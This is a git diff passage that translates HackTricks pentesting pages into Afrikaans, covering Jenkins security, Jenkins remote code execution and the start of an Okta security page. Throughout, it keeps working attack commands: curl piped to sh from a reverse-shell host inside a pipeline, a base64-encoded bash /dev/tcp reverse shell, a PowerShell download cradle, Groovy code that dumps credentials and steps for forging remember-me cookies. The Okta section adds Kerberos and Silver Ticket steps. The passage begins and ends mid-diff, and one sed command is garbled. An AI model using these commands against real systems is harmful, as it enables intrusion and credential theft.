-1. Toegang die Jenkins config.xml lêer in `/var/lib/jenkins/config.xml` of `C:\Program Files (x86)\Jenkis\`
-2. Soek vir die woord `true` en verander die woord **`true`** na **`false`**.
+1. Toegang tot die Jenkins config.xml lêer in `/var/lib/jenkins/config.xml` of `C:\Program Files (x86)\Jenkis\`
+2. Soek na die woord `true` en verander die woord **`true`** na **`false`**.
1. `sed -i -e 's/truefalse)
-- **Projek-gebaseerde Matrix Autorisasiestrategie:** Hierdie modus is 'n **uitbreiding** van "**Matrix-gebaseerde sekuriteit**" wat toelaat dat addisionele ACL-matrix **vir elke projek apart gedefinieer word.**
-- **Rol-gebaseerde Strategie:** Maak dit moontlik om autorisasies te definieer met 'n **rol-gebaseerde strategie**. Bestuur die rolle in `/role-strategy`.
+- **Projek-gebaseerde Matrix Magtiging Strategie:** Hierdie modus is 'n **uitbreiding** van "**Matrix-gebaseerde sekuriteit**" wat toelaat dat addisionele ACL-matrix **vir elke projek apart gedefinieer word.**
+- **Rol-gebaseerde Strategie:** Maak dit moontlik om magtigings te definieer met behulp van 'n **rol-gebaseerde strategie**. Bestuur die rolle in `/role-strategy`.
-## **Security Realm**
+## **Sekuriteitsgebied**
In `/configureSecurity` is dit moontlik om die **sekuriteitsgebied te configureer.** Standaard sluit Jenkins ondersteuning in vir 'n paar verskillende Sekuriteitsgebiede:
-- **Delegeer aan servlet-container**: Vir **delegasie van autentisering aan 'n servlet-container wat die Jenkins-beheerder uitvoer**, soos [Jetty](https://www.eclipse.org/jetty/).
-- **Jenkins se eie gebruikersdatabasis:** Gebruik **Jenkins se eie ingeboude gebruikersdatastoor** vir autentisering in plaas van om aan 'n eksterne stelsel te delegeer. Dit is standaard geaktiveer.
-- **LDAP**: Delegeer alle autentisering aan 'n geconfigureerde LDAP-bediener, insluitend beide gebruikers en groepe.
-- **Unix gebruikers/groep databasis**: **Delegeer die autentisering aan die onderliggende Unix** OS-vlak gebruikersdatabasis op die Jenkins-beheerder. Hierdie modus sal ook die hergebruik van Unix-groepe vir autorisasie toelaat.
+- **Delegeer aan servlet-container**: Vir **delegasie van magtiging aan 'n servlet-container wat die Jenkins-beheerder uitvoer**, soos [Jetty](https://www.eclipse.org/jetty/).
+- **Jenkins se eie gebruikersdatabasis:** Gebruik **Jenkins se eie ingeboude gebruikersdatabasis** vir magtiging in plaas van om aan 'n eksterne stelsel te delegeer. Dit is standaard geaktiveer.
+- **LDAP**: Delegeer alle magtiging aan 'n geconfigureerde LDAP-bediener, insluitend beide gebruikers en groepe.
+- **Unix gebruikers/groep databasis**: **Delegeer die magtiging aan die onderliggende Unix** OS-vlak gebruikersdatabasis op die Jenkins-beheerder. Hierdie modus sal ook die hergebruik van Unix groepe vir magtiging toelaat.
Plugins kan addisionele sekuriteitsgebiede bied wat nuttig kan wees om Jenkins in bestaande identiteitsisteme in te sluit, soos:
-- [Active Directory](https://plugins.jenkins.io/active-directory)
-- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
+- [Aktiewe Gids](https://plugins.jenkins.io/active-directory)
+- [GitHub Magtiging](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Jenkins Nodes, Agents & Executors
Definisies van die [docs](https://www.jenkins.io/doc/book/managing/nodes/):
-**Nodes** is die **masjiene** waarop bou **agents werk**. Jenkins monitor elke aangehegte node vir skyfspasie, vrye tydelike ruimte, vrye swap, klok tyd/sink en reaksietyd. 'n Node word vanlyn geneem as enige van hierdie waardes buite die geconfigureerde drempel gaan.
+**Nodes** is die **masjiene** waarop bou **agents werk**. Jenkins monitor elke aangehegte node vir skyfspasie, vrye tydelike ruimte, vrye swap, kloktyd/synk en reaksietyd. 'n Node word vanlyn geneem as enige van hierdie waardes buite die geconfigureerde drempel gaan.
-**Agents** **bestuur** die **taakuitvoering** namens die Jenkins-beheerder deur **executors** te gebruik. 'n Agent kan enige bedryfstelsel gebruik wat Java ondersteun. Gereedskap wat benodig word vir bou en toetse word op die node geïnstalleer waar die agent loop; hulle kan **direk of in 'n houer** (Docker of Kubernetes) geïnstalleer word. Elke **agent is effektief 'n proses met sy eie PID** op die gasheer masjien.
+**Agents** **bestuur** die **taakuitvoering** namens die Jenkins-beheerder deur **executors** te gebruik. 'n agent kan enige bedryfstelsel gebruik wat Java ondersteun. Gereedskap wat benodig word vir bou en toetse word op die node geïnstalleer waar die agent loop; hulle kan **direk of in 'n houer** (Docker of Kubernetes) geïnstalleer word. Elke **agent is effektief 'n proses met sy eie PID** op die gasheer masjien.
'n **executor** is 'n **gleuf vir die uitvoering van take**; effektief, dit is **'n draad in die agent**. Die **aantal executors** op 'n node definieer die aantal **gelyktydige take** wat op daardie node op 'n slag uitgevoer kan word. Met ander woorde, dit bepaal die **aantal gelyktydige Pipeline `stages`** wat op daardie node op 'n slag kan uitvoer.
-## Jenkins Secrets
+## Jenkins Geheime
-### Encryption of Secrets and Credentials
+### Enkripsie van Geheime en Kredensiale
-Definisie van die [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins gebruik **AES om geheime**, kredensiale, en hul onderskeie versleuteling sleutels te versleutel en te beskerm. Hierdie versleuteling sleutels word gestoor in `$JENKINS_HOME/secrets/` saam met die meester sleutel wat gebruik word om genoemde sleutels te beskerm. Hierdie gids moet geconfigureer word sodat slegs die bedryfstelsel gebruiker wat die Jenkins-beheerder uitvoer, lees- en skrywe toegang tot hierdie gids het (d.w.s. 'n `chmod` waarde van `0700` of deur toepaslike lêer eienskappe te gebruik). Die **meester sleutel** (soms verwys as 'n "sleutel versleuteling sleutel" in cryptojargon) is **gestoor \_onversleuteld\_** op die Jenkins-beheerder lêerstelsel in **`$JENKINS_HOME/secrets/master.key`** wat nie teen aanvallers met direkte toegang tot daardie lêer beskerm nie. Meeste gebruikers en ontwikkelaars sal hierdie versleuteling sleutels indirek gebruik via óf die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API vir die versleuteling van generiese geheime data of deur die kredensiale API. Vir die cryptocurious, gebruik Jenkins AES in cipher block chaining (CBC) modus met PKCS#5 padding en random IVs om voorbeelde van [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) te versleutel wat gestoor word in `$JENKINS_HOME/secrets/` met 'n lêernaam wat ooreenstem met hul `CryptoConfidentialKey` id. Algemene sleutel id's sluit in:
+Definisie van die [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins gebruik **AES om geheime**, kredensiale, en hul onderskeie enkripsiesleutels te enkripteer en te beskerm. Hierdie enkripsiesleutels word in `$JENKINS_HOME/secrets/` gestoor saam met die meester sleutel wat gebruik word om genoemde sleutels te beskerm. Hierdie gids moet geconfigureer word sodat slegs die bedryfstelselgebruiker waarvoor die Jenkins-beheerder loop, lees- en skrywe toegang tot hierdie gids het (d.w.s. 'n `chmod` waarde van `0700` of deur toepaslike lêer eienskappe te gebruik). Die **meester sleutel** (soms verwys as 'n "sleutel-enkripsiesleutel" in cryptojargon) is **gestoor \_ongeënkripteer**\_ op die Jenkins-beheerder se lêerstelsel in **`$JENKINS_HOME/secrets/master.key`** wat nie teen aanvallers met direkte toegang tot daardie lêer beskerm nie. Meeste gebruikers en ontwikkelaars sal hierdie enkripsiesleutels indirek gebruik via óf die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API vir die enkripsie van generiese geheime data of deur die kredensiale API. Vir die cryptocurious, gebruik Jenkins AES in cipher block chaining (CBC) modus met PKCS#5 padding en willekeurige IV's om voorbeelde van [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) te enkripteer wat in `$JENKINS_HOME/secrets/` gestoor word met 'n lêernaam wat ooreenstem met hul `CryptoConfidentialKey` id. Algemene sleutel id's sluit in:
- `hudson.util.Secret`: gebruik vir generiese geheime;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: gebruik vir sommige kredensiale tipes;
- `jenkins.model.Jenkins.crumbSalt`: gebruik deur die [CSRF beskermingsmeganisme](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); en
-### Credentials Access
+### Kredensiale Toegang
-Kredensiale kan **geskik word vir globale verskaffers** (`/credentials/`) wat deur enige geconfigureerde projek toegang verkry kan word, of kan geskik word vir **spesifieke projekte** (`/job//configure`) en dus slegs vanaf die spesifieke projek toeganklik wees.
+Kredensiale kan **geskik word vir globale verskaffers** (`/credentials/`) wat deur enige geconfigureerde projek toegang kan verkry, of kan geskik word vir **spesifieke projekte** (`/job//configure`) en dus slegs vanaf die spesifieke projek toeganklik wees.
-Volgens [**die docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Kredensiale wat in die omvang is, word sonder beperking aan die pyplyn beskikbaar gestel. Om **per ongeluk blootstelling in die boulog te voorkom**, word kredensiale **gemasker** van gewone uitvoer, so 'n aanroep van `env` (Linux) of `set` (Windows), of programme wat hul omgewing of parameters druk, sou **nie hulle in die boulog onthul nie** aan gebruikers wat andersins nie toegang tot die kredensiale sou hê nie.
+Volgens [**die docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Kredensiale wat in die omvang is, word sonder beperking aan die pyplyn beskikbaar gestel. Om **per ongeluk blootstelling in die boulog te voorkom**, word kredensiale **gemasker** van gewone uitvoer, sodat 'n aanroep van `env` (Linux) of `set` (Windows), of programme wat hul omgewing of parameters druk, **nie in die boulog aan gebruikers wat andersins nie toegang tot die kredensiale sou hê nie, onthul word**.
**Dit is waarom 'n aanvaller, om die kredensiale te ontvoer, byvoorbeeld, hulle in base64 moet kodifiseer.**
-## References
+## Verwysings
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 3a50c496d..cf991cc95 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -1,4 +1,4 @@
-# Jenkins Arbitrary File Read to RCE via "Remember Me"
+# Jenkins Arbitrêre Lêer Lees na RCE via "Onthou My"
{{#include ../../banners/hacktricks-training.md}}
@@ -8,17 +8,17 @@ Dit is 'n KI-gegenereerde opsomming van die deel van die pos waar die vervaardig
### Aanval Voorvereistes
-- **Kenmerk Vereiste:** "Remember me" moet geaktiveer wees (standaardinstelling).
+- **Kenmerk Vereiste:** "Onthou my" moet geaktiveer wees (standaardinstelling).
- **Toegangsvlakke:** Aanvaller benodig Algemene/Lees regte.
- **Geheime Toegang:** Vermoë om beide binêre en teksinhoud van sleutel lêers te lees.
### Gedetailleerde Exploitasiestap
-#### Stap 1: Data Versameling
+#### Stap 1: Gegevensinsameling
-**Gebruiker Inligting Herwinning**
+**Gebruikersinligting Herwinning**
-- Toegang tot gebruiker konfigurasie en geheime van `$JENKINS_HOME/users/*.xml` vir elke gebruiker om te versamel:
+- Toegang gebruikerskonfigurasie en geheime van `$JENKINS_HOME/users/*.xml` vir elke gebruiker om te versamel:
- **Gebruikersnaam**
- **Gebruiker saad**
- **Tydstempel**
@@ -31,7 +31,7 @@ Dit is 'n KI-gegenereerde opsomming van die deel van die pos waar die vervaardig
- **Meester Sleutel:** `$JENKINS_HOME/secrets/master.key`
- **MAC Sleutel Lêer:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
-#### Stap 2: Koekie Vervalsing
+#### Stap 2: Koekie Valsifikasie
**Token Voorbereiding**
@@ -41,7 +41,7 @@ Dit is 'n KI-gegenereerde opsomming van die deel van die pos waar die vervaardig
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Voeg een uur by die huidige tyd
```
-- **Konkateer Data vir Token:**
+- **Konkateer Gegevens vir Token:**
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
@@ -84,7 +84,7 @@ username + ":" + tokenExpiryTime + ":" + tokenSignature
- **Haal CSRF en Sessie Tokens:**
- Maak 'n versoek na `/crumbIssuer/api/json` om `Jenkins-Crumb` te verkry.
-- Vang `JSESSIONID` uit die antwoord, wat saam met die remember-me koekie gebruik sal word.
+- Vang `JSESSIONID` uit die antwoord, wat saam met die onthou-my koekie gebruik sal word.
**Opdrag Uitvoeringsversoek**
@@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \
- Groovy skrip kan gebruik word om stelselniveau opdragte of ander operasies binne die Jenkins omgewing uit te voer.
-Die voorbeeld curl opdrag wat verskaf word demonstreer hoe om 'n versoek aan Jenkins te maak met die nodige koptekste en koekies om arbitrêre kode veilig uit te voer.
+Die voorbeeld curl-opdrag wat verskaf word demonstreer hoe om 'n versoek aan Jenkins te maak met die nodige koptekste en koekies om arbitrêre kode veilig uit te voer.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
index 9bce99040..40e97091c 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md
@@ -3,9 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
-> Let daarop dat hierdie skripte slegs die geheime binne die `credentials.xml`-lêer sal lys, maar **boukonfigurasielêers** mag ook **meer kredensiale** hê.
+> Let daarop dat hierdie skrifte slegs die geheime binne die `credentials.xml` lêer sal lys, maar **bou konfigurasielêers** mag ook **meer krediete** hê.
-Jy kan **alle geheime uit die Groovy Script-konsol** in `/script` dump deur hierdie kode te loop
+Jy kan **alle geheime uit die Groovy Script konsole** in `/script` dump deur hierdie kode te loop.
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index dc89eeb70..dfffefbbd 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -1,4 +1,4 @@
-# Jenkins RCE Creating/Modifying Pipeline
+# Jenkins RCE Skep/Wysig Pyplyn
{{#include ../../banners/hacktricks-training.md}}
@@ -8,7 +8,7 @@ In "Nuwe Item" (toeganklik in `/view/all/newJob`) kies **Pyplyn:**
.png>)
-In die **Pyplyn afdeling** skryf die **reverse shell**:
+In die **Pyplyn afdeling** skryf die **omgekeerde dop**:
.png>)
```groovy
@@ -26,12 +26,12 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
}
}
```
-Finally click on **Save**, and **Build Now** and the pipeline will be executed:
+Laastens klik op **Stoor**, en **Bou Nou** en die pyplyn sal uitgevoer word:
.png>)
-## Modifying a Pipeline
+## Wysig 'n Pyplyn
-As jy toegang het tot die konfigurasie-lêer van 'n sekere geconfigureerde pyplyn, kan jy dit eenvoudig **wysig deur jou omgekeerde skulp by te voeg** en dit dan uitvoer of wag totdat dit uitgevoer word.
+As jy toegang het tot die konfigurasie-lêer van 'n geconfigureerde pyplyn, kan jy dit eenvoudig **wysig deur jou omgekeerde skulp by te voeg** en dit dan uitvoer of wag totdat dit uitgevoer word.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index 9c20b0d5b..6d897cb06 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -1,36 +1,36 @@
-# Jenkins RCE Creating/Modifying Project
+# Jenkins RCE Skep/Wysig Projek
{{#include ../../banners/hacktricks-training.md}}
-## Creating a Project
+## Skep 'n Projek
Hierdie metode is baie luidrugtig omdat jy 'n heel nuwe projek moet skep (duidelik sal dit net werk as jou gebruiker toegelaat word om 'n nuwe projek te skep).
-1. **Skep 'n nuwe projek** (Freestyle project) deur op "New Item" te klik of in `/view/all/newJob`
-2. Binne die **Build** afdeling stel **Execute shell** in en plak 'n powershell Empire launcher of 'n meterpreter powershell (kan verkry word met _unicorn_). Begin die payload met _PowerShell.exe_ in plaas van _powershell._
-3. Klik op **Build now**
-1. As die **Build now** knoppie nie verskyn nie, kan jy steeds na **configure** --> **Build Triggers** --> `Build periodically` gaan en 'n cron van `* * * * *` stel
-2. In plaas van om cron te gebruik, kan jy die konfigurasie "**Trigger builds remotely**" gebruik waar jy net die api token naam moet stel om die taak te aktiveer. Gaan dan na jou gebruikersprofiel en **genereer 'n API token** (noem hierdie API token soos jy die api token genoem het om die taak te aktiveer). Laastens, aktiveer die taak met: **`curl :@/job//build?token=`**
+1. **Skep 'n nuwe projek** (Freestyle projek) deur op "Nuwe Item" te klik of in `/view/all/newJob`
+2. Binne die **Bou** afdeling stel **Voer shell uit** in en plak 'n powershell Empire launcher of 'n meterpreter powershell (kan verkry word met _unicorn_). Begin die payload met _PowerShell.exe_ in plaas van _powershell._
+3. Klik op **Bou nou**
+1. As die **Bou nou** knoppie nie verskyn nie, kan jy steeds na **konfigureer** --> **Bou Triggers** --> `Bou periodiek` gaan en 'n cron van `* * * * *` stel
+2. In plaas van om cron te gebruik, kan jy die konfigurasie "**Trigger boue van buite**" gebruik waar jy net die api token naam moet stel om die taak te trigger. Gaan dan na jou gebruikersprofiel en **genereer 'n API token** (noem hierdie API token soos jy die api token genoem het om die taak te trigger). Laastens, trigger die taak met: **`curl :@/job//build?token=`**
.png>)
-## Modifying a Project
+## Wysig 'n Projek
-Gaan na die projekte en kyk **of jy enige** daarvan kan konfigureer (soek na die "Configure button"):
+Gaan na die projekte en kyk **of jy enige** van hulle kan konfigureer (soek na die "Konfigureer knoppie"):
.png>)
-As jy **nie** enige **konfigurasie** **knoppie** kan sien nie, dan kan jy waarskynlik **nie** dit **konfigureer** nie (maar kyk na al die projekte aangesien jy dalk sommige daarvan kan konfigureer en nie ander nie).
+As jy **nie** enige **konfigurasie** **knoppie** kan sien nie, dan kan jy waarskynlik **nie** **dit konfigureer** nie (maar kyk na al die projekte aangesien jy dalk sommige van hulle kan konfigureer en nie ander nie).
Of **probeer om toegang te verkry tot die pad** `/job//configure` of `/me/my-views/view/all/job//configure` \_\_ in elke projek (voorbeeld: `/job/Project0/configure` of `/me/my-views/view/all/job/Project0/configure`).
-## Execution
+## Uitvoering
-As jy toegelaat word om die projek te konfigureer, kan jy **maak dat dit opdragte uitvoer wanneer 'n bou suksesvol is**:
+As jy toegelaat word om die projek te konfigureer, kan jy **dit laat opdragte uitvoer wanneer 'n bou suksesvol is**:
.png>)
-Klik op **Save** en **bou** die projek en jou **opdrag sal uitgevoer word**.\
+Klik op **Stoor** en **bou** die projek en jou **opdrag sal uitgevoer word**.\
As jy nie 'n reverse shell uitvoer nie, maar 'n eenvoudige opdrag, kan jy **die uitvoer van die opdrag binne die uitvoer van die bou sien**.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 5b9747e7d..bd1fa0730 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -7,16 +7,16 @@
Dit is minder luidrugtig as om 'n nuwe projek in Jenkins te skep
1. Gaan na _path_jenkins/script_
-2. Binne die tekskas stel die skrip voor
+2. Binne die tekskas, stel die skrip voor
```python
def process = "PowerShell.exe ".execute()
println "Found text ${process.text}"
```
-U kan 'n opdrag uitvoer met: `cmd.exe /c dir`
+Jy kan 'n opdrag uitvoer met: `cmd.exe /c dir`
In **linux** kan jy doen: **`"ls /".execute().text`**
-As jy _aanhalings_ en _enkele aanhalings_ binne die teks moet gebruik. Jy kan _"""PAYLOAD"""_ (drie dubbele aanhalings) gebruik om die payload uit te voer.
+As jy _aanhalings_ en _enkele aanhalings_ binne die teks moet gebruik, kan jy _"""PAYLOAD"""_ (drie dubbele aanhalings) gebruik om die payload uit te voer.
**Nog 'n nuttige groovy script** is (vervang \[INSERT COMMAND]):
```python
@@ -26,7 +26,7 @@ proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
-### Omgekeerde skulp in linux
+### Omgekeerde dop in linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
@@ -42,11 +42,11 @@ scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
```
-### Script
+### Skrip
Jy kan hierdie proses outomatiseer met [**hierdie skrip**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
-Jy kan MSF gebruik om 'n omgekeerde shell te kry:
+Jy kan MSF gebruik om 'n omgekeerde skulp te kry:
```
msf> use exploit/multi/http/jenkins_script_console
```
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index 6a52b1520..6eb7a4e87 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -1,104 +1,104 @@
-# Okta Security
+# Okta Veiligheid
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-[Okta, Inc.](https://www.okta.com/) word erken in die identiteit en toegang bestuur sektor vir sy wolk-gebaseerde sagteware oplossings. Hierdie oplossings is ontwerp om gebruikersverifikasie oor verskeie moderne toepassings te stroomlyn en te beveilig. Hulle is nie net gerig op maatskappye wat hul sensitiewe data wil beskerm nie, maar ook op ontwikkelaars wat belangstel om identiteitsbeheer in toepassings, webdienste en toestelle te integreer.
+[Okta, Inc.](https://www.okta.com/) word erken in die identiteit en toegangsbestuursektor vir sy wolk-gebaseerde sagtewareoplossings. Hierdie oplossings is ontwerp om gebruikersverifikasie oor verskeie moderne toepassings te stroomlyn en te beveilig. Hulle is nie net gerig op maatskappye wat hul sensitiewe data wil beskerm nie, maar ook op ontwikkelaars wat belangstel om identiteitsbeheer in toepassings, webdienste en toestelle te integreer.
-Die vlaggies aanbod van Okta is die **Okta Identity Cloud**. Hierdie platform sluit 'n suite van produkte in, insluitend maar nie beperk tot nie:
+Die vlaggies aanbod van Okta is die **Okta Identiteitswolk**. Hierdie platform sluit 'n suite van produkte in, insluitend maar nie beperk tot nie:
-- **Single Sign-On (SSO)**: Vereenvoudig gebruikers toegang deur een stel aanmeldbesonderhede oor verskeie toepassings toe te laat.
-- **Multi-Factor Authentication (MFA)**: Versterk sekuriteit deur verskeie vorme van verifikasie te vereis.
-- **Lifecycle Management**: Automatiseer die skepping, opdatering en deaktivering van gebruikersrekeninge.
-- **Universal Directory**: Maak sentrale bestuur van gebruikers, groepe en toestelle moontlik.
-- **API Access Management**: Beveilig en bestuur toegang tot API's.
+- **Enkele Aanmelding (SSO)**: Vereenvoudig gebruikers toegang deur een stel aanmeldbesonderhede oor verskeie toepassings toe te laat.
+- **Multi-Factor Verifikasie (MFA)**: Versterk sekuriteit deur verskeie vorme van verifikasie te vereis.
+- **Levensiklusbestuur**: Automatiseer die skepping, opdatering en deaktivering van gebruikersrekeninge.
+- **Universale Gids**: Maak sentrale bestuur van gebruikers, groepe en toestelle moontlik.
+- **API Toegang Bestuur**: Beveilig en bestuur toegang tot API's.
-Hierdie dienste het as doel om dataprotectie te versterk en gebruikers toegang te stroomlyn, wat beide sekuriteit en gerief verbeter. Die veelsydigheid van Okta se oplossings maak dit 'n gewilde keuse oor verskeie industrieë, voordelig vir groot ondernemings, klein maatskappye en individuele ontwikkelaars. Soos van die laaste opdatering in September 2021, word Okta erken as 'n prominente entiteit in die Identiteit en Toegang Bestuur (IAM) arena.
+Hierdie dienste het as doel om dataprotectie te versterk en gebruikers toegang te stroomlyn, wat beide sekuriteit en gerief verbeter. Die veelsydigheid van Okta se oplossings maak dit 'n gewilde keuse oor verskeie bedrywe, voordelig vir groot ondernemings, klein maatskappye en individuele ontwikkelaars. Soos van die laaste opdatering in September 2021, word Okta erken as 'n prominente entiteit in die Identiteit en Toegangsbestuur (IAM) arena.
> [!CAUTION]
-> Die hoofdoel van Okta is om toegang tot verskillende gebruikers en groepe tot eksterne toepassings te konfigureer. As jy daarin slaag om **administrateur regte in 'n Okta** omgewing te **kompromitteer**, sal jy hoogs waarskynlik in staat wees om **alle ander platforms wat die maatskappy gebruik te kompromitteer**.
+> Die hoofdoel van Okta is om toegang tot verskillende gebruikers en groepe tot eksterne toepassings te konfigureer. As jy daarin slaag om **administrateurregte in 'n Okta** omgewing te **kompromitteer**, sal jy hoogs waarskynlik in staat wees om **al die ander platforms wat die maatskappy gebruik te kompromitteer**.
> [!TIP]
> Om 'n sekuriteitsherziening van 'n Okta omgewing uit te voer, moet jy vra vir **administrateur lees-slegs toegang**.
-### Summary
+### Samevatting
Daar is **gebruikers** (wat kan wees **gestoor in Okta,** ingelogde van geconfigureerde **Identiteitsverskaffers** of geverifieer via **Active Directory** of LDAP).\
Hierdie gebruikers kan binne **groepe** wees.\
Daar is ook **verifikators**: verskillende opsies om te verifieer soos wagwoord, en verskeie 2FA soos WebAuthn, e-pos, telefoon, okta verify (hulle kan geaktiveer of gedeaktiveer wees)...
-Dan is daar **toepassings** wat met Okta gesinkroniseer is. Elke toepassing sal 'n paar **kaarte met Okta** hê om inligting te deel (soos e-pos adresse, voorname...). Boonop moet elke toepassing binne 'n **Verifikasiebeleid** wees, wat die **nodige verifikators** aandui vir 'n gebruiker om die toepassing te **benader**.
+Dan is daar **toepassings** wat gesinkroniseer is met Okta. Elke toepassing sal 'n paar **kaarte met Okta** hê om inligting te deel (soos e-posadresse, voorname...). Boonop moet elke toepassing binne 'n **Verifikasiebeleid** wees, wat die **nodige verifikators** aandui vir 'n gebruiker om **toegang** tot die toepassing te verkry.
> [!CAUTION]
-> Die mees kragtige rol is **Super Administrator**.
+> Die mees kragtige rol is **Super Administrateur**.
>
-> As 'n aanvaller Okta met Administrateur toegang kompromitteer, sal al die **toepassings wat Okta vertrou** hoogs waarskynlik **gekompromitteer** wees.
+> As 'n aanvaller Okta met Administrateur toegang kompromitteer, sal al die **apps wat Okta vertrou** hoogs waarskynlik **gekompromitteer** wees.
-## Attacks
+## Aanvalle
-### Locating Okta Portal
+### Lokasie van Okta Portaal
Gewoonlik sal die portaal van 'n maatskappy geleë wees in **companyname.okta.com**. As dit nie so is nie, probeer eenvoudige **variaties** van **companyname.** As jy dit nie kan vind nie, is dit ook moontlik dat die organisasie 'n **CNAME** rekord het soos **`okta.companyname.com`** wat na die **Okta portaal** wys.
-### Login in Okta via Kerberos
+### Aanmelding in Okta via Kerberos
As **`companyname.kerberos.okta.com`** aktief is, **word Kerberos gebruik vir Okta toegang**, wat tipies **MFA** vir **Windows** gebruikers omseil. Om Kerberos-geverifieerde Okta gebruikers in AD te vind, voer **`getST.py`** uit met **geskikte parameters**. Nadat jy 'n **AD gebruikerskaart** verkry het, **injekteer** dit in 'n beheerde gasheer met behulp van gereedskap soos Rubeus of Mimikatz, en verseker dat **`clientname.kerberos.okta.com` in die Internet Opsies "Intranet" sone is**. Toegang tot 'n spesifieke URL moet 'n JSON "OK" antwoord teruggee, wat die aanvaarding van die Kerberos kaart aandui, en toegang tot die Okta dashboard verleen.
-Die kompromitering van die **Okta diensrekening met die delegasie SPN stel 'n Silver Ticket aanval in staat.** egter, Okta se gebruik van **AES** vir kaartversleuteling vereis dat die AES-sleutel of platte wagwoord besit word. Gebruik **`ticketer.py` om 'n kaart vir die slagoffer gebruiker te genereer** en lewer dit via die blaaiert om met Okta te verifieer.
+Die kompromitering van die **Okta diensrekening met die delegasie SPN stel 'n Silver Ticket aanval in staat.** egter, Okta se gebruik van **AES** vir kaartversleuteling vereis dat die AES-sleutel of platte wagwoord besit word. Gebruik **`ticketer.py` om 'n kaart vir die slagoffer gebruiker te genereer** en lewer dit via die blaaier om met Okta te verifieer.
-**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
+**Kontroleer die aanval in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Hijacking Okta AD Agent
+### Kaap Okta AD Agent
